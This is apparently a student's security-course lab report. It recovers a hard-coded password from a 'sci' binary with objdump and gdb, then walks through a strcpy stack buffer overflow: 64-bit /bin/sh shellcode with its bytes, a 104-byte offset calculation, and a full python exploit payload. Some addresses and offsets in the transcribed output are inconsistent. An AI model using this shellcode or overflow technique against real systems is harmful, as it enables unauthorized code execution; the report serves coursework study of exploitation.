

----- TASK 1 -----

1. Running `strings sci`, we find a string named “check_passwd”, which seems likely to be the password checking function for the program

```
chris@chris-XPS15:~/Purdue/cs426/lab3$ strings sci | grep check_passwd
check_passwd
chris@chris-XPS15:~/Purdue/cs426/lab3$ █
```

2. After running `objdump -disassemble sci`, I saved the resulting assembly code, deleted everything but “check_passwd”, and manually went through to figure out what the program does. My commented version of the assembly code for check_passwd is below.

```
0000000000001289 <check_passwd>:

# init
1289:    f3 0f 1e fa        endbr64
128d:    55                 push    %rbp
128e:    48 89 e5        mov     %rsp,%rbp
1291:    48 83 ec 70        sub     $0x70,%rsp

# move first argument (password entered) to mem addr for use in this func
1295:    48 89 7d 98        mov     %rdi,-0x60(%rbp)

##### ZERO OUT THE ARRAY #####
1299:    48 c7 45 a0 00 00 00    movq   $0x0,-0x60(%rbp)
12a0:    00
12a1:    48 c7 45 a0 00 00 00    movq   $0x0,-0x58(%rbp)
12a8:    00
12a9:    48 c7 45 b0 00 00 00    movq   $0x0,-0x50(%rbp)
12b0:    00
12b1:    48 c7 45 b0 00 00 00    movq   $0x0,-0x48(%rbp)
12b8:    00
12b9:    48 c7 45 c0 00 00 00    movq   $0x0,-0x40(%rbp)
12c0:    00
12c1:    48 c7 45 c0 00 00 00    movq   $0x0,-0x38(%rbp)
12c8:    00
12c9:    48 c7 45 d0 00 00 00    movq   $0x0,-0x30(%rbp)
12d0:    00
12d1:    48 c7 45 d0 00 00 00    movq   $0x0,-0x28(%rbp)
12d8:    00
12d9:    48 c7 45 e0 00 00 00    movq   $0x0,-0x20(%rbp)
12e0:    00
12e1:    48 c7 45 e0 00 00 00    movq   $0x0,-0x18(%rbp)
12e8:    00
12e9:    48 c7 45 f0 00 00 00    movq   $0x0,-0x10(%rbp)
12f0:    00
12f1:    48 c7 45 f0 00 00 00    movq   $0x0,-0x8(%rbp)
12f8:    00
#####
##### PRINT BUFFER ADDR #####
# give starting address of array to %rax
12f9:    48 8d 45 a0        lea     -0x60(%rbp),%rax
# move beginning of array mem location to %rsi (second arg register)
12fd:    48 89 c6        mov     %rax,%rsi
# move "%s" to %rdi (first arg register)
1300:    48 8d 3d 6c 0d 00 00    lea     0xd6c(%rip),%rdi      # 2073 <magic_10+0x5>
# zero out %eax
1307:    b8 00 00 00 00    mov     $0x0,%eax
# print the address of the array
130c:    e8 2f fe ff ff    callq  1140 <printf@plt>
#####
```

```

##### STRCPY ENTERED PASSWORD INTO ARRAY #####
# temp save entered password into %rdx (used later for strncmp)
1311:    48 8b 55 98          mov    -0x60(%rbp),%rdx
# temp save beginning of array into %rax
1315:    48 8d 45 a0          lea    -0x60(%rbp),%rax
# set 2nd arg equal to entered password
1319:    48 89 d6          mov    %rdx,%rsi
# set 1st arg equal to beginning of array
131c:    48 89 c7          mov    %rax,%rdi
# strcpy entered password into array
131f:    e8 ec fd ff ff      callq  1110 <strcpy@plt>           <----- vulnerable call
#####
##### CHECK IF FIRST 4 CHARACTERS = 'dave' #####
# temp save beginning of the array into %rax
1324:    48 8d 45 a0          lea    -0x60(%rbp),%rax
# save 4 (length to compare) into %edx (3rd arg register)
1328:    ba 04 00 00 00        mov    $0x4,%edx
# load value @ 0xd3a(%rip) into 2nd arg register - this is 'dave'
132d:    48 8d 35 3a 0d 00 00    lea    0xd3a(%rip),%rsi      # 206e <magic_10>
# move addr to beginning of array into 1st arg register
1334:    48 89 c7          mov    %rax,%rdi
# strncmp(entered_pass, real_pass, 4)
1337:    e8 c4 fd ff ff      callq  1100 <strcmp@plt>
# if eax & eax = 1 (strcmp fails), jump to failure
133c:    85 c0          test   %eax,%eax
133e:    75 28          jne    1368 <check_passwd+0xdf>
#####

##### CHECK IF REST OF PASSWORD ENTERED = '@handsome' #####
1340:    0f b6 45 a4          movzbl -0x5c(%rbp),%eax
# compare last byte of %eax to '@'. if ne, jump to failure
1344:    3c 40          cmp    $0x40,%al
1346:    75 20          jne    1368 <check_passwd+0xdf>
# up until this point, entered pass needs to start with 'dave@'
# substring the password (everything after 'dave@')
1348:    48 8d 45 a0          lea    -0x60(%rbp),%rax
134c:    48 83 c0 05        add    $0x5,%rax
# rest of password is of length 8
1350:    ba 08 00 00 00        mov    $0x8,%edx
# into 2nd arg register, load 'handsome'
1355:    48 8d 35 ec 0c 00 00    lea    0xec(%rip),%rsi      # 2048 <magic_4>
# move remainder of password checking into 1st arg register (after 'dave@')
135c:    48 89 c7          mov    %rax,%rdi
# compare strings
135f:    e8 9c fd ff ff      callq  1100 <strcmp@plt>
# if strcmp succeeds, jump to setting uid
1364:    85 c0          test   %eax,%eax
1366:    74 07          je    136f <check_passwd+0xe6>
#####

# failure - set return value to -1
1368:    b8 ff ff ff ff      mov    $0xffffffff,%eax
# jump to end
136d:    eb 5e          jmp    13cd <check_passwd+0x144>

# jmp_2
# setting uid
136f:    8b 05 d3 2c 00 00    mov    0x2cd3(%rip),%eax      # 4040 <suid>
1375:    89 c7          mov    %eax,%edi
1377:    e8 14 fe ff ff      callq  1190 <seteuid@plt>
137c:    8b 05 c6 2c 00 00    mov    0x2cc6(%rip),%eax      # 4040 <suid>
1382:    89 c7          mov    %eax,%edi
1384:    e8 f7 fd ff ff      callq  1180 <setuid@plt>
1389:    e8 a2 fd ff ff      callq  1190 <getuid@plt>
138e:    89 05 d0 30 00 00    mov    %eax,0x30d0(%rip)      # 4464 <ruid>
1394:    e8 c7 fd ff ff      callq  1160 <geteuid@plt>
1399:    89 05 a1 2c 00 00    mov    %eax,0x2ca1(%rip)      # 4040 <euid>
139f:    8b 05 9f 2c 00 00    mov    0x2c9f(%rip),%eax      # 4044 <debug>

```

```

# jmp_3 - if eax & eax = 0, jump to success
13a5:    85 c0          test    %eax,%eax
# jump to success
13a7:    74 1f          je     13c8 <check_passwd+0x13f>
13a9:    8b 15 91 2c 00 00    mov    0x2c91(%rip),%edx      # 4040 <euid>
13af:    8b 05 af 30 00 00    mov    0x30af(%rip),%eax      # 4464 <ruid>
13b5:    89 c6          mov    %eax,%esi
13b7:    48 8d 3d c2 0c 00 00    lea    0xcc2(%rip),%rdi      # 2080 <magic_10+0x12>
13be:    b8 00 00 00 00    mov    $0x0,%eax
13c3:    e8 78 fd ff ff    callq  1140 <printf@plt>

# success - set return value to 0
13c8:    b8 00 00 00 00    mov    $0x0,%eax

# end
13cd:    c9          leaveq
13ce:    c3          retq

```

3. Eventually, in the first section that uses `strcmp(str1, str2, len)`, I figured out what the arguments are. `%rdi`, `%rsi`, and `%rdx` are the first, second, and third argument registers, respectively. It was easy to see that our entered password was moved into `%rdi`, the first argument, and the length ‘4’ moved into `%rsi`, the third argument. Therefore, all we need to figure out is what the program is comparing the first 4 digits of our entered string to.

4. We see the line ``lea 0xd3a(%rip), %rsi``. This is moving the string at `0xd3a(%rip)` into our 2nd argument register. To see what is in `%rsi` after this instruction, I simply set a breakpoint to the line afterwards. Based off of the output of ‘`disassemble check_passwd`’ in gdb, we can find the address of the line we desire. It ends up being `check_passwd + 171`. When the program breaks, we inspect the registers to see what is in `%rsi`. To see these 4 bytes that `strcmp` is comparing our password to, we inspect what `%rsi` points to. Decoding these hex digits, we get ‘dave’. Therefore, our password must start with ‘dave’

see screenshots on next pages

```
Dump of assembler code for function check_passwd:
0x0000000000001289 <+0>:    endbr64
0x000000000000128d <+4>:    push  %rbp
0x000000000000128e <+5>:    mov   %rsp,%rbp
0x0000000000001291 <+8>:    sub   $0x70,%rsp
0x0000000000001295 <+12>:   mov   %rdi,-0x68(%rbp)
0x0000000000001299 <+16>:   movq  $0x0,-0x60(%rbp)
0x00000000000012a1 <+24>:   movq  $0x0,-0x58(%rbp)
0x00000000000012a9 <+32>:   movq  $0x0,-0x50(%rbp)
0x00000000000012b1 <+40>:   movq  $0x0,-0x48(%rbp)
0x00000000000012b9 <+48>:   movq  $0x0,-0x40(%rbp)
0x00000000000012c1 <+56>:   movq  $0x0,-0x38(%rbp)
0x00000000000012c9 <+64>:   movq  $0x0,-0x30(%rbp)
0x00000000000012d1 <+72>:   movq  $0x0,-0x28(%rbp)
0x00000000000012d9 <+80>:   movq  $0x0,-0x20(%rbp)
0x00000000000012e1 <+88>:   movq  $0x0,-0x18(%rbp)
0x00000000000012e9 <+96>:   movq  $0x0,-0x10(%rbp)
0x00000000000012f1 <+104>:  movq  $0x0,-0x8(%rbp)
0x00000000000012f9 <+112>:  lea    -0x60(%rbp),%rax
0x00000000000012fd <+116>:  mov   %rax,%rsi
0x0000000000001300 <+119>:  lea    0xd6c(%rip),%rdi      # 0x2073
0x0000000000001307 <+126>:  mov   $0x0,%eax
0x000000000000130c <+131>:  callq 0x1140 <printf@plt>
0x0000000000001311 <+136>:  mov   -0x68(%rbp),%rdx
0x0000000000001315 <+140>:  lea    -0x60(%rbp),%rax
0x0000000000001319 <+144>:  mov   %rdx,%rsi
0x000000000000131c <+147>:  mov   %rax,%rdi
0x000000000000131f <+150>:  callq 0x1110 <strcpy@plt>
0x0000000000001324 <+155>:  lea    -0x60(%rbp),%rax
0x0000000000001328 <+159>:  mov   $0x4,%edx
0x000000000000132d <+164>:  lea    0xd3a(%rip),%rsi      # 0x206e <magic_10>
0x0000000000001334 <+171>:  mov   %rax,%rdi
0x0000000000001337 <+174>:  callq 0x1100 <strcmp@plt>
0x000000000000133c <+179>:  test  %eax,%eax
0x000000000000133e <+181>:  jne   0x1368 <check_passwd+223>
0x0000000000001340 <+183>:  movzbl -0x5c(%rbp),%eax
0x0000000000001344 <+187>:  cmp   $0x40,%al
0x0000000000001346 <+189>:  jne   0x1368 <check_passwd+223>
0x0000000000001348 <+191>:  lea    -0x60(%rbp),%rax
0x000000000000134c <+195>:  add   $0x5,%rax
0x0000000000001350 <+199>:  mov   $0x8,%edx
0x0000000000001355 <+204>:  lea    0xcec(%rip),%rsi      # 0x2048 <magic_4>
0x000000000000135c <+211>:  mov   %rax,%rdi
0x000000000000135f <+214>:  callq 0x1100 <strcmp@plt>
0x0000000000001364 <+219>:  test  %eax,%eax
0x0000000000001366 <+221>:  je    0x136f <check_passwd+230>
0x0000000000001368 <+223>:  mov   $0xffffffff,%eax
0x000000000000136d <+228>:  jmp   0x13cd <check_passwd+324>
0x000000000000136f <+230>:  mov   0x2cd3(%rip),%eax      # 0x4048 <suid>
0x0000000000001375 <+236>:  mov   %eax,%edi
0x0000000000001377 <+238>:  callq 0x1190 <seteuid@plt>
0x000000000000137c <+243>:  mov   0x2cc6(%rip),%eax      # 0x4048 <suid>
0x0000000000001382 <+249>:  mov   %eax,%edi
0x0000000000001384 <+251>:  callq 0x1180 <setuid@plt>
0x0000000000001389 <+256>:  callq 0x1130 <getuid@plt>
0x000000000000138e <+261>:  mov   %eax,0x30d0(%rip)      # 0x4464 <ruid>
--Type <RET> for more, q to quit, c to continue without paging--
```

```
chris@chris-XPS15:~/Purdue/cs426/lab3$ gdb sci
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
  <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from sci...
(No debugging symbols found in sci)
(gdb) b *check_passwd+171
Breakpoint 1 at 0x1334
(gdb) r
Starting program: /home/chris/Purdue/cs426/lab3/sci
Password for dave2>
aaaaaaaa
buffer=[0x7fffffffded0]

Breakpoint 1, 0x000055555555334 in check_passwd ()
(gdb) i r
rax      0x7fffffffded0    140737488346832
rbx      0x555555555550    93824992236880
rcx      0x6161616161616161  7016996765293437281
rdx      0x4                4
rsi      0x55555555606e    93824992239726
rdi      0x7fffffffded0    140737488346832
rbp      0x7fffffffdf30    0x7fffffffdf30
rsp      0x7fffffffdec0    0x7fffffffdec0
r8       0x0                0
r9       0x61616161616161   27410143614427489
r10      0x55555555607d    93824992239741
r11      0x246              582
r12      0x5555555551a0    93824992235936
r13      0x7fffffff040     140737488347200
r14      0x0                0
r15      0x0                0
rip      0x55555555334     0x55555555334 <check_passwd+171>
eflags   0x246             [ PF ZF IF ]
cs       0x33               51
ss       0x2b               43
ds       0x0                0
es       0x0                0
fs       0x0                0
gs       0x0                0
(gdb) x/4x 0x55555555606e
0x55555555606e <magic_10>: 0x65766164 0x66756200 0x3d726566 0x5d70255b
(gdb) x/4b 0x55555555606e
0x55555555606e <magic_10>: 0x64 0x61 0x76 0x65
(gdb)
```

5. There is one more chunk of code that `strncmp(str1, str2, len)`. This block starts off by comparing the next byte of our password to `0x40`, which is the character ‘@’. Therefore, our password must start with ‘dave@’.

6. The last part of this snippet compares the rest of the password. We figure this out with a similar method to step 4. I’ll skip past explaining these steps again for simplicity – see screenshots below. We know the second part is 8 bytes long (seen in the assembly), so we simply set another break point and examine `%rsi` again using the command ``x/8x 0x55555556048``, where `0X55555556048` is the address that `%rsi` points to. Decoding these hex digits, we get ‘handsome’. From here, if this `strcmp` succeeds, the password is correct. Therefore, dave2’s password is ‘[dave@handsome](#)’

see screenshots on next pages

```

Dump of assembler code for function check_passwd:
0x0000000000001289 <+0>:    endbr64
0x000000000000128d <+4>:    push   %rbp
0x000000000000128e <+5>:    mov    %rsp,%rbp
0x0000000000001291 <+8>:    sub    $0x70,%rsp
0x0000000000001295 <+12>:   mov    %rdi,-0x68(%rbp)
0x0000000000001299 <+16>:   movq   $0x0,-0x60(%rbp)
0x00000000000012a1 <+24>:   movq   $0x0,-0x58(%rbp)
0x00000000000012a9 <+32>:   movq   $0x0,-0x50(%rbp)
0x00000000000012b1 <+40>:   movq   $0x0,-0x48(%rbp)
0x00000000000012b9 <+48>:   movq   $0x0,-0x40(%rbp)
0x00000000000012c1 <+56>:   movq   $0x0,-0x38(%rbp)
0x00000000000012c9 <+64>:   movq   $0x0,-0x30(%rbp)
0x00000000000012d1 <+72>:   movq   $0x0,-0x28(%rbp)
0x00000000000012d9 <+80>:   movq   $0x0,-0x20(%rbp)
0x00000000000012e1 <+88>:   movq   $0x0,-0x18(%rbp)
0x00000000000012e9 <+96>:   movq   $0x0,-0x10(%rbp)
0x00000000000012f1 <+104>:  movq   $0x0,-0x8(%rbp)
0x00000000000012f9 <+112>:  lea    -0x60(%rbp),%rax
0x00000000000012fd <+116>:  mov    %rax,%rsi
0x0000000000001300 <+119>:  lea    0xd6c(%rip),%rdi      # 0x2073
0x0000000000001307 <+126>:  mov    $0x0,%eax
0x000000000000130c <+131>:  callq  0x1140 <printf@plt>
0x0000000000001311 <+136>:  mov    -0x68(%rbp),%rdx
0x0000000000001315 <+140>:  lea    -0x60(%rbp),%rax
0x0000000000001319 <+144>:  mov    %rdx,%rsi
0x000000000000131c <+147>:  mov    %rax,%rdi
0x000000000000131f <+150>:  callq  0x1110 <strcpy@plt>
0x0000000000001324 <+155>:  lea    -0x60(%rbp),%rax
0x0000000000001328 <+159>:  mov    $0x4,%edx
0x000000000000132d <+164>:  lea    0xd3a(%rip),%rsi      # 0x206e <magic_10>
0x0000000000001334 <+171>:  mov    %rax,%rdi
0x0000000000001337 <+174>:  callq  0x1100 <strcmp@plt>
0x000000000000133c <+179>:  test   %eax,%eax
0x000000000000133e <+181>:  jne    0x1368 <check_passwd+223>
0x0000000000001340 <+183>:  movzbl -0x5c(%rbp),%eax
0x0000000000001344 <+187>:  cmp    $0x40,%al
0x0000000000001346 <+189>:  jne    0x1368 <check_passwd+223>
0x0000000000001348 <+191>:  lea    -0x60(%rbp),%rax
0x000000000000134c <+195>:  add    $0x5,%rax
0x0000000000001350 <+199>:  mov    $0x8,%edx
0x0000000000001355 <+204>:  lea    0xcec(%rip),%rsi      # 0x2048 <magic_4>
0x000000000000135c <+211>:  mov    %rax,%rdi
0x000000000000135f <+214>:  callq  0x1100 <strcmp@plt>
0x0000000000001364 <+219>:  test   %eax,%eax
0x0000000000001366 <+221>:  je    0x135f <check_passwd+230>
0x0000000000001368 <+223>:  mov    $0xffffffff,%eax
0x000000000000136d <+228>:  jmp    0x13cd <check_passwd+324>
0x000000000000136f <+230>:  mov    0x2cd3(%rip),%eax      # 0x4048 <suid>
0x0000000000001375 <+236>:  mov    %eax,%edi
0x0000000000001377 <+238>:  callq  0x1190 <seteuid@plt>
0x000000000000137c <+243>:  mov    0x2cc6(%rip),%eax      # 0x4048 <suid>
0x0000000000001382 <+249>:  mov    %eax,%edi
0x0000000000001384 <+251>:  callq  0x1180 <setuid@plt>
0x0000000000001389 <+256>:  callq  0x1130 <getuid@plt>
0x000000000000138e <+261>:  mov    %eax,0x30d0(%rip)      # 0x4464 <ruid>
--Type <RET> for more, q to quit, c to continue without paging--
```

```
chris@chris-XPS15:~/Purdue/cs426/lab3$ gdb sci
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
  <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from sci...
(No debugging symbols found in sci)
(gdb) b *check_passwd+214
Breakpoint 1 at 0x135f
(gdb) r
Starting program: /home/chris/Purdue/cs426/lab3/sci
Password for dave2>
dave@aaaaaaaaa
buffer=[0x7fffffffded0]

Breakpoint 1, 0x00005555555535f in check_passwd ()
(gdb) i r
rax          0x7fffffffded5      140737488346837
rbx          0x5555555555550     93824992236880
rcx          0xfffffff0         4294967280
rdx          0x8                8
rsi          0x555555556048      93824992239688
rdi          0x7fffffffded5      140737488346837
rbp          0x7fffffffdf30      0x7fffffffdf30
rsp          0x7fffffffdec0      0x7fffffffdec0
r8           0x0                0
r9           0x61616161616161   27410143614427489
r10          0x55555555607d      93824992239741
r11          0x4                4
r12          0x5555555551a0      93824992235936
r13          0x7fffffff040       140737488347200
r14          0x0                0
r15          0x0                0
rip          0x5555555535f       0x5555555535f <check_passwd+214>
eflags        0x202              [ IF ]
cs            0x33               51
ss            0x2b               43
ds            0x0                0
es            0x0                0
fs            0x0                0
gs            0x0                0
(gdb) x/8b 0x555555556048
0x555555556048 <magic_4>: 104    97     110    100    115    111    109    101
(gdb) x/8x 0x555555556048
0x555555556048 <magic_4>: 0x68    0x61    0x6e    0x64    0x73    0x6f    0x6d    0x65
(gdb)
```

----- TASK 2 -----

2.1

The main differences between the shellcode on the slides and this one is that we are using 64-bit architecture, not 32-bit. For example, instead of ‘*pushl*’ and ‘*movl*’, which are 32-bit instructions, we use ‘*pushq*’ and ‘*movq*’. In addition, we can write the entirety of “/bin/bash” in one instruction, rather than two. The final difference is the use of ‘*syscall*’ instead of ‘*int 0x80*’. For x86_64, the ‘*syscall*’ instruction looks at ‘%rax’ for the syscall number, which is 0x3b for ‘*execve*’.

To extract the assembly code, I simple compile with ‘*gcc shellcode.s -o shellcode -nostdlib*’. From there, I use ‘*for i in \$(objdump -d shellcode | grep "^\^" | cut -f 2); do echo -n '\x'\$i; done; echo*’ to get the machine code.

```
chris@chris-XPS15:~/Purdue/cs426/lab3$ cat shellcode.s
.text
.global _start
_start:
    xor %rax, %rax          # nullify %rax
    pushq %rax
    movq $0x68732f6e69622f2f, %rax # "hs/nib/" --> %rax
    pushq %rax              # push the sh command onto the stack

    xor %rax, %rax
    addq $0x3b, %rax         # execve (
    movq %rsp, %rdi          #           /bin/sh ,
    xor %rsi, %rsi          #           NULL ,
    xor %rdx, %rdx          #           NULL
                           #
    syscall

.data
chris@chris-XPS15:~/Purdue/cs426/lab3$ gcc shellcode.s -o shellcode -nostdlib
chris@chris-XPS15:~/Purdue/cs426/lab3$ ./shellcode
$ ls
64bit-overflow.pdf  lab3.pdf  report.odt  sci_asm.txt      shellcode   shellcode.s
asm.txt            lab3.tar  sci        sci_strings.txt  shellcode.o
$ exit
chris@chris-XPS15:~/Purdue/cs426/lab3$ for i in $(objdump -d shellcode | grep "^\^" | cut -f 2); do echo -n '\x'$i
; done; echo
\x48\x31\xc0\x50\x48\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x50\x48\x31\xc0\x48\x83\xc0\x3b\x48\x89\xe7\x48\x31\xf6\
\x48\x31\xd2\x0f\x05
chris@chris-XPS15:~/Purdue/cs426/lab3$
```

2.2

1. The buffer that could be overflowed is in ‘*check_passwd*’. I figured this out when I disassembled the binary in part 1. The program does an unprotected ‘*strcpy*’ into a buffer that’s been zeroed out.
2. The stack layout of the function can be figured out with the *sci_asm.txt* file that I used in part 1 (obtained w/ *objdump*). We know that, to exploit this program, we must overwrite the return address of the program when it returns from *check_passwd*. As is typical for a function call in x86, *main* pushes the return address (the next line after calling *check_passwd*) to the stack. Then, at the top of *check_passwd*, the program pushes the saved base pointer, *rbp*, to the stack. Next, local variables are stored in the stack. In this case, there is only one – the buffer that our typed password is put into.

Therefore, to overwrite the return address, we must write all the way over the buffer AND the base pointer (*rbp*) to finally get to the saved return address.

3. You know that the number of A's overflow as expected when we inspect the registers after a segmentation fault (entering 300 A's). As you can see below, when the program exits with SIGSEGV, the *%rbp* has been overwritten with A's (0x41). This is because the *leaveq* instruction pops the next value off of the stack and into *%ebp*. The original *%ebp* to pop was saved at the very beginning of the function, and it was NOT 0x41414141..., so we know that the stack was overwritten.

ORIGINAL

```
Starting program: /home/chris/Purdue/cs426/lab3/sci
Password for dave2>
AAAAAAA
buffer=[0x7ffe63d3e4b0]

Breakpoint 1, 0x0000557bcb57324 in check_passwd ()
(gdb) i r
rax      0x7ffe63d3e4b0      140730573251760
rbx      0x5575bcb57550      93964165543248
rcx      0x4141414141414141  4702111234474983745
rdx      0xa                 10
rsi      0x5575bcb5a060      93964165554272
rdi      0x7ffe63d3e4b0      140730573251760
rbp      0x7ffe63d3e510
rsp      0x7ffe63d3e4a0
r8       0x0                 0
r9       0x41414141414141  18367622009667905
r10      0x5575bcb5807d      93964165546109
r11      0x246                582
r12      0x5575bcb571a0      93964165542304
r13      0x7ffe63d3e620      140730573252128
r14      0x0                 0
r15      0x0                 0
rip      0x5575bcb57324      0x5575bcb57324 <check_passwd+155>
eflags   0x202                [ IF ]
cs       0x33                51
ss       0x2b                43
ds       0x0                 0
es       0x0                 0
fs       0x0                 0
gs       0x0                 0
(gdb) ■
```

CHANGED

```
Breakpoint 2, 0x000055f93bf093ce in check_passwd ()
(gdb) x/20x $rsp
0x7ffc4f28dd38: 0x4141414141414141  0x4141414141414141
0x7ffc4f28dd48: 0x4141414141414141  0x4141414141414141
0x7ffc4f28dd58: 0x4141414141414141  0x4141414141414141
0x7ffc4f28dd68: 0x4141414141414141  0x4141414141414141
0x7ffc4f28dd78: 0x4141414141414141  0x4141414141414141
0x7ffc4f28dd88: 0x4141414141414141  0x4141414141414141
0x7ffc4f28dd98: 0x4141414141414141  0x4141414141414141
0x7ffc4f28ddaa: 0x4141414141414141  0x4141414141414141
0x7ffc4f28ddbb: 0x4141414141414141  0x4141414141414141
0x7ffc4f28ddc8: 0x4141414141414141  0x4141414141414141
(gdb) n
Single stepping until exit from function check_passwd,
which has no line number information.

Program received signal SIGSEGV, Segmentation fault.
0x000055f93bf093ce in check_passwd ()
(gdb) i r
rax      0xffffffff      4294967295
rbx      0x55f93bf09550    94528940840272
rcx      0xffffffff      4294967295
rdx      0x54                 100
rsi      0x55f93bf0a06e    94528940843118
rdi      0x7ffc4f28dc0      140721636564176
rbp      0x4141414141414141  0x4141414141414141
rsp      0x7ffc4f28dd38
r8       0x0                 0
r9       0x41414141414141  18367622009667905
r10      0x55f93bf0a07d    94528940843133
r11      0x4                 4
r12      0x55f93bf091a0    94528940839328
r13      0x7ffc4f28de40    140721636564544
r14      0x0                 0
r15      0x0                 0
rip      0x55f93bf093ce    0x55f93bf093ce <check_passwd+325>
eflags   0x10286           [ PF SF IF RF ]
cs       0x33                51
ss       0x2b                43
ds       0x0                 0
es       0x0                 0
fs       0x0                 0
gs       0x0                 0
(gdb) ■
```

4. You need 104 A's to overwrite the return address so that you can change the *%rip*. We know this using simple pointer arithmetic. In the screenshot below, the program conveniently tells us that the buffer begins at address *0x7ffe2b452c50*. If we break right after the *leaveq* instruction, we can tell that the *%rsp* points to address *0x7ffe2b452cb8*. Subtracting these two numbers gives us **104**, the number of A's that we need to get to *%rip*. To check our work, we can simply write 104 A's plus 6 B's. As you can see in the screenshot below, we have precisely overwritten *%rsp* with our B's. If we continue executing, you can see that we have overwritten our return address to *0x0000424242424242*! Now, to change the return address, all I have to do is enter 104 of any random characters and then the address of my malicious code.

Check number of A's needed

```
Starting program: /home/chris/Purdue/cs426/lab3/sci
Password for dave2>
AAAAAAA
buffer=[0x7ffe2b452c50]

Breakpoint 1, 0x0000558d3b3703ce in check_passwd ()
(gdb) i r
rax          0xffffffff      4294967295
rbx          0x558d3b370550    94065072211280
rcx          0xffffffff      4294967295
rdx          0x64            100
rsi          0x558d3b37106e    94065072214126
rdi          0x7ffe2b452c50    140729624374352
rbp          0x7ffe2b452cd0    0x7ffe2b452cd0
rsp          0x7ffe2b452cb8    0x7ffe2b452cb8
```

Checking work – 104 A's + 6 B's overwrites %rip!

```
(gdb) break *check_passwd+325
Breakpoint 1 at 0x13ce
(gdb) r $(python -c 'print "A" * 104 + "B" *6')
Starting program: /home/chris/Purdue/cs426/lab3/sci $(python -c 'print "A" * 104 + "B" *6')
buffer=[0x7ffca687deb0]

Breakpoint 1, 0x000055d3e07af3ce in check_passwd ()
(gdb) x/20x $rsp
0x7ffca687df18: 0x0000424242424242 0x00007ffca687e028
0x7ffca687df28: 0x0000000000000000 0x0000000000000000
0x7ffca687df38: 0x00007fb6d9b6b63 0x00007fb8dfbd6520
0x7ffca687df48: 0x00007ffca687e028 0x0000000200000000
0x7ffca687df58: 0x000055d3e07af3cf 0x000055d3e07af550
0x7ffca687df68: 0x0ebd25c1b4824b12 0x000055d3e07af1a0
0x7ffca687df78: 0x00007ffca687e020 0x0000000000000000
0x7ffca687df88: 0x0000000000000000 0xf14468ce0a024b12
0x7ffca687df98: 0xf1cc9af6d44c4b12 0x0000000000000000
0x7ffca687dfa8: 0x0000000000000000 0x0000000000000000
(gdb) i r
rax          0xffffffff      4294967295
rbx          0x55d3e07af550    94368492614992
rcx          0xffffffff      4294967295
rdx          0x64            100
rsi          0x55d3e07b006e    94368492617838
rdi          0x7ffca687deb0    140723102408368
rbp          0x4141414141414141 0x4141414141414141
rsp          0x7ffca687df18    0x7ffca687df18
r8           0x0             0
r9           0x42424242424241  18650200009816641
r10          0x55d3e07b007d    94368492617853
r11          0x4             4
r12          0x55d3e07af1a0    94368492614048
r13          0x7ffca687e020    140723102408736
r14          0x0             0
r15          0x0             0
rip          0x55d3e07af3ce    0x55d3e07af3ce <check_passwd+325>
eflags        0x286          [ PF SF IF ]
cs            0x33           51
ss            0x2b           43
ds            0x0             0
es            0x0             0
fs            0x0             0
gs            0x0             0
(gdb) x 0x7ffca687df18
0x7ffca687df18: 0x0000424242424242
(gdb) n
Single stepping until exit from function check_passwd,
which has no line number information.
0x0000424242424242 in ?? ()
(gdb) ■
```

2.3

We want to jump to the buffer that our entered password is saved in, since that's where the shellcode will be. To do so, we need to replace the B's in 2.2 #4 with the address of the buffer. Thankfully, the program gives the address of the buffer to us. In my case, it was `0x7fffffffde60`. To jump to this address, simply add the encoded address at the end (reversed, since we're working with little endian).

```
python -c 'print "A" * 104 + "\x7f\xff\xff\xff\xff\xde\xd0"[::-1]'
```

In GDB, the memory address was `0x7fffffffde60` instead, so this example uses that.

```
(gdb) r $(python -c 'print "A" * 104 + "\x7f\xff\xff\xff\xff\xde\xd0"[::-1]')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/chris/Purdue/cs426/lab3/sci $(python -c 'print "A" * 104 + "\x7f\xff\xff\xff\xff\xde\xd0"[::-1]')
buffer=[0x7fffffffde60]

Program received signal SIGSEGV, Segmentation fault.
0x00007fffffdde60 in ?? ()
(gdb) i r
rax      0xffffffff        4294967295
rbx      0x555555555550    93824992236080
rcx      0xffffffff        4294967295
rdx      0x64                100
rsi      0x5555555556e      93824992239726
rdi      0x7fffffffde60    140737488346720
rbp      0x41414141414141  0x41414141414141
rsp      0x7fffffffde60    0x7fffffffde60
r8       0x0
r9       0x7fffffffde6041  36028797015760385
r10      0x555555555607d   93824992239741
r11      0x4
r12      0x5555555551a0    93824992235936
r13      0x7fffffffdfd0    140737488347088
r14      0x0
r15      0x0
rip      0x7fffffffde60    0x7fffffffde60
eflags   0x10286 [ PF SF IF RF ]
cs       0x33                51
ss       0x2b                43
ds       0x0
es       0x0
fs       0x0
gs       0x0
(gdb)
```

Since our shellcode is 33 bytes (from 2.1), we need to adjust accordingly. To make the shellcode start at the beginning of the buffer, we need to put $104 - 33 = 71$ bytes of filler. We also need to prepend our shellcode, since we want it to be the first thing in the buffer. The following command accomplishes this:

```
python -c 'print "\x48\x31\xc0\x50\x48\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x50\x48\x31\xc0\x48\x83\xc0\x3b\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05" + "A" * 71 + "\x7f\xff\xff\xff\xde\xd0"[::-1]'
```

```
